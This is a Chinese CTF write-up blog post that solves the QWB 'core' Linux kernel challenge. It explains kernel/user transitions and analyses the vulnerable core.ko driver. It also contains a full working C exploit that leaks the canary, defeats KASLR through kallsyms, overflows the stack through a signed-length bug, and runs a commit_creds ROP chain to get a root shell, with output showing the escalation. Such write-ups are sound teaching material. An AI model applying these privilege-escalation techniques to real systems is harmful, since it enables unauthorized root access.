kernel学习-core
2018/11/18

感谢CTF-wiki、P4nda、Veritas501 收获很大

首先捋清kernel pwn 与 用户态下的pwn的区别

正常用户态pwn 控制流程以后 跳转到 bin/sh 就可以了

而kernel pwn 还需要维护堆栈平衡  目的从取得shell变成了取得root权限shell

现代操作系统的权限分离

现代操作系统一般都至少分为内核态和用户态。一般应用程序通常运行于用户态,而当应用程序调用系统调用时候会执行内核代码,此时会处于内核态。一般的,应用程序是不能随便进入内核态的而是需要向OS申请,因为内核态拥有更高的权限。所以当程序运行的时候,其实是有两个栈的,一个位于用户态,一个位于内核态。他们之间会按照操作系统的规定进行通信

内核栈和用户栈分别处于内核空间和用户空间两个不同的空间中,因此,这两个栈是相互独立的,所以参数传递不能只是简单的压栈出栈,因此,Linux内核中主要是才用寄存器的方式来完成这个任务。

intel的x86架构分级

Intel x86架构使用了4个级别来标明不同的特权级权限。R0实际就是内核态,拥有最高权限。而一般应用程序处于R3状态--用户态。在Linux中,还存在R1和R2两个级别,一般归属驱动程序的级别。在Windows平台没有R1和R2两个级别,只用R0内核态和R3用户态。在权限约束上,使用的是高特权等级状态可以阅读低等级状态的数据,例如进程上下文、代码、数据等等,但是反之则不可。R0最高可以读取R0-3所有的内容,R1可以读R1-3的,R2以此类推,R3只能读自己的数据。因为shelllog应该写在内核中

什么是ioctl

ioctl是设备驱动程序中对设备的I/O通道进行管理的函数。所谓对I/O通道进行管理,就是对设备的一些特性进行控制,例如串口的传输波特率、马达的转速等等。它的调用个数如下: 
int ioctl(int fd, ind cmd, …); 
    其中fd是用户程序打开设备时使用open函数返回的文件标示符,cmd是用户程序对设备的控制命令,至于后面的省略号,那是一些补充参数,一般最多一个,这个参数的有无和cmd的意义相关。 
    ioctl函数是文件结构中的一个属性分量,就是说如果你的驱动程序提供了对ioctl的支持,用户就可以在用户程序中使用ioctl函数来控制设备的I/O通道。
    在驱动程序中实现的ioctl函数体内,实际上是有一个switch{case}结构,每一个case对应一个命令码,做出一些相应的操作

具体解释:ioctl

swapgs

调用swapgs命令,在gs寄存器的内核与用户态值之间切换,为离开内核做准备

中断返回指令

发生系统调用时,这是处于用户态的进程主动请求切换到内核态的一种方式。用户态的进程通过系统调用申请使用操作系统提供的系统调用服务例程来处理任务。而系统调用的机制,其核心仍是使用了操作系统为用户特别开发的一个中断机制来实现的,即软中断。

当一个中断服务程序执行完毕时,CPU将恢复被中断的现场,返回到引起中断的程序中。为了实现此项功能,指令系统提供了一条专用的中断返回指令。该指令的格式如下:
IRET/IRETD
该指令执行的过程基本上是INT指令的逆过程,具体如下:
1.从栈顶弹出内容送入IP;
2.再从新栈顶弹出内容送入CS;
3.再从新栈顶弹出内容送入标志寄存器;

CORE

下载下来题目 查看下目录

➜  give_to_player ls
bzImage  core.cpio  leak.py   vmlinux      vmlinux.id1  vmlinux.nam
core     gdb.sh     start.sh  vmlinux.id0  vmlinux.id2  vmlinux.til

去除ida调试文件 主要有以下文件

bzImage :可以理解为压缩后的kernel文件 //可利用./extract-vmlinux ./bzImage > vmlinux 提取静态kernel文件
core.cpio:打包好的磁盘文件
vmlinux :静态kernel文件 //可以直接在此中查找gadget
start.sh:启动环境

根据p4nda师傅理解
*.ko就是binary文件,vmlinux就是libc … 不同的是保护机制是由如何启动决定的
查看下start.sh

➜  give_to_player cat start.sh 
qemu-system-x86_64 \
-m 128M \           原本这里给的64M导致 环境无法运行 可以修改大于64M即可
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \                      这里设置了默认的gdb调试端口 1234
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

发现环境开启了kaslr 未开启smep
解包下core.cpio

mkdir core 

mv core.cpio ./core/core.cpio.gz 

cd core

gunzip core.cpio.gz 

cpio -idmv < core.cpio

ls

➜  core ls
bin       core.id2  core.til     init   linuxrc  sbin  usr
core.id0  core.ko   etc          lib    proc     sys   vmlinux
core.id1  core.nam  gen_cpio.sh  lib64  root     tmp

除去ida调试文件
可以看到我们的驱动文件
core.ko
以及磁盘其他目录
查看下init

➜  core cat init
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko
 poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

看到 程序将/proc/kallsyms写入了 /tmp/kallsyms 并且使kptr_restrict 设置为1导致不能直接通过/proc/kallsyms 查找commit_creds,prepare_kernel_cred
但是可以通过/tmp/kallsyms 中查找获取

接着可以看到 poweroff -d 120 -f & 设置了定时关机 这里删除就可以防止自动关机

打包命令

由于题目提供了打包脚本 gen_cpio.sh

➜  core cat gen_cpio.sh
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
 #$1 就是我们打包后的命名
./gen_cpio.sh core.cpio
.
......
......
./lib64/libm.so.6
./lib64/ld-linux-x86-64.so.2
./lib64/libc.so.6
./sys
125596 块
接着 
mv core.cpio ../
重启 kernel即可

我们写好的exp 也放在解包后的目录里,接着重新打包运行即可在虚拟机里查看到exp

gdb远程调式问题

target remote localhost:1234

通过 gdb ./vmlinux 启动时,虽然加载了 kernel 的符号表,但没有加载驱动 core.ko 的符号表,可以通过 add-symbol-file core.ko textaddr 加载
.text 段的地址可以通过 /sys/modules/core/section/.text 来查看

/ $ cat /sys/module/core/sections/.text
cat: can't open '/sys/module/core/sections/.text': Permission denied

缺少权限
需要重新配置init

➜  core cat init
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

#setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

重新打包

➜  core ./gen_cpio.sh core.cpio
.
./vmlinux
........
........
./lib64/ld-linux-x86-64.so.2
./lib64/libc.so.6
./sys
125596 块

➜  core mv core.cpio ../
➜  give_to_player ./start.sh

再次查看

cat /sys/module/core/sections/.text
0xffffffffc028b000

所以加载 符号表

pwndbg> add-symbol-file ./core/core.ko 0xffffffffc028b000
add symbol table from file "./core/core.ko" at
    .text_addr = 0xffffffffc028b000
Reading symbols from ./core/core.ko...(no debugging symbols found)...done.

在core驱动下断

pwndbg> b core_read

远程调试

target remote localhost:1234
c

core.ko

__int64 __fastcall core_ioctl(__int64 a1, __int64 a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( (_DWORD)a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD, a3);
      off = v3;
      break;
    case 0x6677889A:
      printk(&unk_2B3, a2);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

可以看到这是自行定义的ioctl、并且全局变量可控
传入 0x6677889A进入core_copy_func函数
传入 0x6677889B 进入 core_read函数
传入 0x6677889C 设置off参数

core_copy_func

signed __int64 __fastcall core_copy_func(signed __int64 a1, __int64 a2)
{
  signed __int64 result; // rax
  __int64 v3; // [rsp-50h] [rbp-50h]
  unsigned __int64 v4; // [rsp-10h] [rbp-10h]

  v4 = __readgsqword(0x28u);
  printk(&unk_215, a2);
  if ( a1 > 63 )
  {
    printk(&unk_2A1, a2);
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v3, &name, (unsigned __int16)a1);
  }
  return result;
}

注意qmemcpy这里
在执行前 定义 signed int64 a1 但是在执行时unsigned int16)a1

signed和unsigned用于修饰整数类型(包括char,从ANSI C89标准开始支持)。
signed表示有符号,unsigned表示无符号。对应的有符号数的最大取值要比无符号的小约一半,因为最高一位被用来表示符号。
默认的int、short、long、long long为有符号数,也就是说,int等价于signed int,short等价于signed short,long等价于signed long,long long等价于signed long long。但是char本身是signed char还是unsigned char,取决于语言的实现(编译器)。
范围列表如下:
signed char:[-2^7, 2^7)即[-128, 128);验证
unsigned char:[0, 2^8)即[0, 256);
signed n位整数:[-2^(n-1), 2^(n-1));
unsigned n位整数:[0, 2^n)。
注意整数类型占多少空间是不确定的,只能保证sizeof(shor)<=sizeof(int)<=sizeof(long)。一般32位平台上,int和long为32位,short为16位,long long为64位

所以这里可以传入负数导致溢出 因为需要利用溢出所以我们只需要控制构造长度为0xf000000000000300,即可成功覆盖RIP
因为没有开启smep 所以可以利用ret2user在用户态下提权或者在内核态rop进行提权
常见提权命令

commit_creds(prepare_kernel_cred(0));

core_read

unsigned __int64 __fastcall core_read(__int64 a1, __int64 a2)
{
  __int64 v2; // rbx
  __int64 *v3; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v6; // [rsp-50h] [rbp-50h]
  unsigned __int64 v7; // [rsp-10h] [rbp-10h]

  v2 = a1;
  v7 = __readgsqword(0x28u);
  printk(&unk_25B, a2);
  printk(&unk_275, off);
  v3 = &v6;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v3 = 0;
    v3 = (__int64 *)((char *)v3 + 4);
  }
  strcpy((char *)&v6, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(v2, (char *)&v6 + off, 64LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v7;
  __asm { swapgs }
  return result;
}

注意到result这里 执行了copy_to_user()函数

在学习Linux内核驱动的时候,经常会碰到copy_from_user和copy_to_user这两个函数,设备驱动程序中的ioctl函数就经常会用到。这两个函数负责在用户空间和内核空间传递数据

查看下他们的定义

copy_from_user:

static inline unsigned long copy_from_user(void *to, const void __user *from, unsigned long n)
{
    if (access_ok(VERIFY_READ, from, n))
        n = __arch_copy_from_user(to, from, n);
    else /* security hole - plug it */
        memzero(to, n);
    return n;
}


copy_to_user:

 unsigned long copy_to_user(void __user *to, const void *from, unsigned long n)
 {
      if (access_ok(VERIFY_WRITE, to, n))
           n = __copy_to_user(to, from, n);
      return n;
 }

其中函数的三个参数含义为:to是内核空间的指针,from是用户空间指针,n表示从用户空间想内核空间拷贝数据的字节数。如果成功执行拷贝操作,则返回0,否则返回还没有完成拷贝的字节数

—————————————

其中access_ok()是

#ifdef CONFIG_MMU
  #define access_ok(type,addr,size) (likely(__range_ok(addr,size) == 0))
#else
  static inline int access_ok(int type, const void *addr, unsigned long size)
 {
  extern unsigned long memory_start, memory_end;
  unsigned long val = (unsigned long)addr;

  return ((val >= memory_start) && ((val + size) < memory_end));
 }

返回再看函数

result = copy_to_user(v2, (char *)&v6 + off, 64LL);

查看下汇编

.text:00000000000000AB                 mov     rsi, offset src ; "Welcome to the QWB CTF challenge.\n"
.text:00000000000000B2                 mov     rdi, rsp        ; dest
.text:00000000000000B5                 call    strcpy
.text:00000000000000BA                 mov     rsi, rsp
.text:00000000000000BD                 add     rsi, cs:off
.text:00000000000000C4                 mov     edx, 40h ; '@'
.text:00000000000000C9                 mov     rdi, rbx
.text:00000000000000CC                 call    _copy_to_user
.text:00000000000000D1                 test    rax, rax
.text:00000000000000D4                 jz      short loc_DB

看到v6其实就是rsp 而off又是我们可以控制设置的 传入 0x6677889C ,所以利用好这个点 可以leak canary(从0位开始获取)以及内核函数地址

canary = rsp+ 0x40
所以设置off为0x40

程序基本分析完毕
1.存在溢出 可以利用执行rop
2.off可控 利用v6+off leak canary
3.因为给出静态vmlinux //可以直接在此中查找gadget

  1. 给出vmlinux 并且启动环境后会将/proc/kallsyms写入tmp/ kallsyms查找commit_creds,prepare_kernel_cred
    5.虽然开启了kaslr 但是可以通过commit_creds,prepare_kernel_cred 计算出找vmlinux base

利用ropgadget提取gadget 过于缓慢 …(CTFwiki suggest use Ropper)
所以我们用Ropper提取gadget

➜  give_to_player ropper --file ./vmlinux --nocolor > g1
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

offset 计算exp

➜  give_to_player checksec vmlinux
[*] '/home/ios/kernel/croe/give_to_player/vmlinux'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0xffffffff81000000) #raw_vmlinux_base
    RWX:      Has RWX segments
#include 
#include 
#include 
#include 
#include 
#include 
#include 
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %s\n", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);

            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            /* printf("vmlinux_base addr: %p\n", vmlinux_base); */
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }

}
int main(void){

find_symbols();
unsigned long long offset = vmlinux_base - raw_vmlinux_base;
printf("{==dbg==} leak offset: %p\n",(void*)offset);
}

平衡堆栈

就像刚开始说的一样 内核态与用户态pwn的差别 内核态还需要稳定堆栈
在内核返回用户态的时候,会调用iretq,iretq会依次弹出 rip cs eflags rsp ss之后做一些判断,如果不能构造好这些参数,系统会崩溃
这里采取提前保存的方式来稳定堆栈

static void save_state() {
    asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "pushfq\n"
    "popq %2\n"
    : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}

Set off and Leak canary

void *page = mmap(0,0x400000,3,34,-1,0);
    int ret;
    char buf[64];
    memset(buf,0,64);
 #use to fake stack
    puts("{==dbg==} set off");
    ret = ioctl(fd,0x6677889C,0x40);
#set off =0x40
    printf("{==dbg==} ret: %d\n",ret);
    puts("{==dbg==} copy to user");
    ret = ioctl(fd,0x6677889b,(void *)buf);
#set case = 0x6677889b into core_read than leak canary
    printf("{==dbg==} ret: %d\n",ret);
    unsigned long long canary = ((unsigned long long *)buf)[0];
    printf("{==dbg==} canary: %p\n",(void *)canary);

有了cananry 就可以构造rop了

ROP to getshell and ret user

char rop_buf[0x1000];
    unsigned long long * rop = (unsigned long long *)rop_buf;
    int i=0;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = canary;
    rop[i++] = 0x6161616161616161;//rbx
    //ret
    rop[i++] = 0xffffffff81000b2f+offset;//pop rdi ; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff8109cce0+offset;//prepare_kernel_cred
    rop[i++] = 0xffffffff810a0f49+offset;//pop rdx ; ret
    rop[i++] = 0xffffffff8109c8e0+2+offset;//commit_creds
    rop[i++] = 0xffffffff8101aa6a+offset;//mov rdi, rax ; call rdx
    rop[i++] = 0xffffffff81a012da+offset;//swapgs ; popfq ; ret
    rop[i++] = 0xdeadbeef;
    rop[i++] = 0xffffffff81050ac2+offset;//iretq
    rop[i++] = (unsigned long long)shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = (unsigned long long)(page+0x400000);
    rop[i++] = user_ss;
    write(fd,rop_buf,0x800);
    ret = ioctl(fd,0x6677889a,0xffffffffffff0000|(0x100));

要注意在getshell前,提前save_state

exp

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>

unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %s\n", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);

            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            /* printf("vmlinux_base addr: %p\n", vmlinux_base); */
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }

}
static void save_state() {
    asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "pushfq\n"
    "popq %2\n"
    : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}

void shell(void) {
    if(!getuid())
        execl("/bin/sh", "sh", NULL);
    exit(0);
}

int main(void){
    int fd  = open("/proc/core",O_RDWR);
    if(fd<0){
        puts("open core error!");
        exit(0);
    }
    printf("{==dbg==} fd: %d\n",fd);

    save_state();
    find_symbols();
    void *page = mmap(0,0x400000,3,34,-1,0);
    int ret;
    char buf[64];
    memset(buf,0,64);
    puts("{==dbg==} set off");
    ret = ioctl(fd,0x6677889C,0x40);
    printf("{==dbg==} ret: %d\n",ret);

    puts("{==dbg==} copy to user");
    ret = ioctl(fd,0x6677889b,(void *)buf);
    printf("{==dbg==} ret: %d\n",ret);
    unsigned long long canary = ((unsigned long long *)buf)[0];
    unsigned long long offset = vmlinux_base - raw_vmlinux_base;
    printf("{==dbg==} canary: %p\n",(void *)canary);
    printf("{==dbg==} leak offset: %p\n",(void*)offset);

    char rop_buf[0x1000];
    unsigned long long * rop = (unsigned long long *)rop_buf;
    int i=0;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = 0x6161616161616161;
    rop[i++] = canary;
    rop[i++] = 0x6161616161616161;//rbx
    //ret
    rop[i++] = 0xffffffff81000b2f+offset;//pop rdi ; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff8109cce0+offset;//prepare_kernel_cred
    rop[i++] = 0xffffffff810a0f49+offset;//pop rdx ; ret
    rop[i++] = 0xffffffff8109c8e0+2+offset;//commit_creds
    rop[i++] = 0xffffffff8101aa6a+offset;//mov rdi, rax ; call rdx
    rop[i++] = 0xffffffff81a012da+offset;//swapgs ; popfq ; ret
    rop[i++] = 0xdeadbeef;
    rop[i++] = 0xffffffff81050ac2+offset;//iretq
    rop[i++] = (unsigned long long)shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = (unsigned long long)(page+0x400000);
    rop[i++] = user_ss;


    puts("{==dbg==} copy from user");
    write(fd,rop_buf,0x800);
    puts("{==dbg==} lets rop");
    ret = ioctl(fd,0x6677889a,0xffffffffffff0000|(0x100));
    printf("{==dbg==} ret: %d\n",ret);

    return 0;
}

use gcc make it

gcc -g exp.c -o exp

将编译好的exp放入解包后德tmp目录里 并且重新打包

➜  core ls
bin       core.id2  core.til     init   linuxrc  sbin  usr
core.id0  core.ko   etc          lib    proc     sys   vmlinux
core.id1  core.nam  gen_cpio.sh  lib64  root     tmp
➜  core ./gen_cpio.sh core.cpio
.
./vmlinux
......
......
./lib64
./lib64/libm.so.6
./lib64/ld-linux-x86-64.so.2
./lib64/libc.so.6
./sys
125600 块

➜  core mv core.cpio ../

运行exp 成功提权

➜  core cd ..
➜  give_to_player ./start.sh 
qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
[    0.026145] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $ 
/$ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/$ cd tmp
/$ ./exp
{==dbg==} fd: 3
commit_creds addr: 0xffffffff9869c8e0
vmlinux_base addr: 0xffffffff98600000
prepare_kernel_cred addr: 0xffffffff9869cce0
{==dbg==} set off
{==dbg==} ret: 0
{==dbg==} copy to user
{==dbg==} ret: 0
{==dbg==} canary: 0x3b35ff2e9fa44700
{==dbg==} leak offset: 0x17600000
{==dbg==} copy from user
{==dbg==} lets rop
/tmp # id
uid=0(root) gid=0(root)

小结

还是有很多不懂得地方,边学习边记录

请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!